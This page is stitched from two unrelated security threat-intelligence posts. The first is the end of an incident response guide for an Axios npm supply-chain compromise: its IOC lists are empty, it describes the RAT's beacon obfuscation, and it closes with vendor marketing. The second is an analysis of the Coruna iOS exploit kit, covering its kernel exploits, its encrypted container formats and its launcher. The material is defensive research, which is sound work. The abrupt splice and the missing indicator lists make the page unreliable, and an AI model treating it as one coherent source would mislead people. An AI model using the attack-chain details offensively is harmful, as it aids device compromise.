• Confirm that network blocks for C2 infrastructure are active and logging hits
• Re-run the Deep Visibility hunts from Hour 0-1 to verify no new activity has appeared

Key IOC Reference Card

Keep this card accessible for your team during the response.

Malicious packages:

C2 infrastructure:

File artifacts by OS:

RAT beacon behavior: HTTP POST every 60 seconds, Base64-encoded JSON, two-layer obfuscation (reversed Base64 + XOR with key OrDeR_7077, constant 333). The IE8/Windows XP User-Agent string is anachronistic and serves as a strong network-level detection indicator.

SentinelLABS Expanded Indicators:

The Structural Problem Is Bigger Than Axios

The progression from event-stream (2018, individual actor) to Shai-Hulud (2025, self-replicating worm across 500+ packages) to Axios (2026, DPRK state actor with multi-vendor attribution from SentinelOne, Google, and Microsoft) is not a series of isolated incidents. It is a clear escalation in adversary sophistication and strategic intent. North Korean threat actors stole $2.02 billion in cryptocurrency in 2025 alone, a 51% increase year-over-year, and the Axios RAT harvests exactly the credential types that feed that revenue pipeline.

Developer environments are now a Tier 1 attack surface. The organizations that treat them as anything less are operating with a structural blind spot that state-level adversaries have already mapped.

SentinelOne’s Autonomous Security Intelligence framework delivers what this moment requires: AI-native protection that detects and contains threats at machine speed, human expertise through Wayfinder MDR that translates alerts into confident action, and a unified platform that eliminates the fragmented visibility where supply chain attacks hide. When the next three-hour window opens, the question is whether your defense moves faster than the attacker. With SentinelOne, it does.

Disclaimer: All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third party.

Introduction

On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.

Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).

Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.

During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.

Attack chain of Operation Triangulation (simplified)

Attack chain of Coruna (simplified)

Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.

Technical details

While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.

Safari

Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.

Payload

The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.

First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.

The file format used by the exploit kit to store compressed data

The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.

The file format used by the exploit kit to store files

We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.

Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.

The file format used by the exploit kit to store information about file packages

The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:

• 0xF2 – exploit for ARM64,
• 0xF3 – exploit for ARM64E,
• 0xA2 – Mach-O loader for ARM64,
• 0xA3 – Mach-O loader for ARM64E,
• 2 – implant for ARM64,
• 0xE2 – implant for ARM64E.

The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.

Other bytes of the Package ID define the supported firmware version and CPU generation.

Some of the observed Package IDs (those with unique content)

The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.

Observed File IDs

After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.

Kernel exploits

We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:

• The code takes into account more values ​​from XNU version strings, allowing for more accurate version checking.
• Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
• Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
• Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.

Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.

Launcher

The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.

Conclusions

This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.